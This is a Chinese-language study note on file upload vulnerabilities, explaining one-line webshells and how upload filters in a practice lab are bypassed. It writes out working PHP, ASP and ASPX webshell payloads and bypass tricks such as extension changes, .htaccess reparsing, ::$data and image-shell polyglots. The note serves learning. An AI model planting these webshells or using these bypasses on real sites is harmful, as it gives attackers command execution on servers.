文件上传漏洞(一句话木马)-学习笔记
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢? 先来看看最简单的一句话木马
什么是webshell?
渗webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
一句话木马
概述
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权
限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢? 先来看看最简单的一句话木马:
<?php @eval($_POST['attack']) ?>
【基本原理】
利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑(菜刀)即可获取和控制整
个网站目录。@
表示后面即使执行错误,也不报错。 eval()
函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']
表示从页面中获得attack这 个参数值。
控制木马条件
其中,只要攻击者满足三个条件,就能实现成功入侵:
① 木马上传成功,未被杀;
② 知道木马的路径在哪;
③ 上传的木马能正常运行。
常见一句话木马
php: <?php @eval($_POST['pass']);?>
、<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
蚁剑
利用蚁剑高效控制shell
,对服务器进行高 效率渗透
Web体系结构
什么是web容器?
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理
从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)
中间件
提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和
更高一级应用程序之间。
什么是文件解析?
当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx
和.html
肯定是不一样的),根据的是文件的后缀名。
文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚 本或者WebShell等。
PASS-01/02
01是前端js判断是否为图片利用抓包修改文件名
02是判断content-type,于是修改content-type绕过。
PASS-03
不允许上传.asp,.aspx,.php,.jsp后缀文件,利用php3、phtml后缀绕过。
PASS-04_01
利用.htaccess文件,将所有文件解析为php。
PASS-05/06/07/08
05 info.phP
大小写绕过
06 info.php
后缀名中加空格绕过
07 info.php.
后缀加“.”绕过【利用windows特性,会自动去掉后缀名中最后的”.”】
(Linux中无效)
08 info.php::$data
利用这个特性将后缀改为.php::$data
可以直接绕过检查(Linux无效)
PASS-15
- cmd命令:
copy a.jpg /b + shell.php /a webshell.jpg
A. 通过读文件的前2个字节判断文件类型
B. 利用gif头“GIF89a” - 利用.htaccess文件,解析所有类型文件为php
- 上传图片马
------WebKitFormBoundaryPAdYiq2VuZu31amF
Content-Disposition: form-data; name="file"; filename="file.gif"
Content-Type: image/gif
GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryPAdYiq2VuZu31amF--
练习网站:
http://upload-labs.f5.ink/Pass-03/index.php
https://xz.aliyun.com/t/2435
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)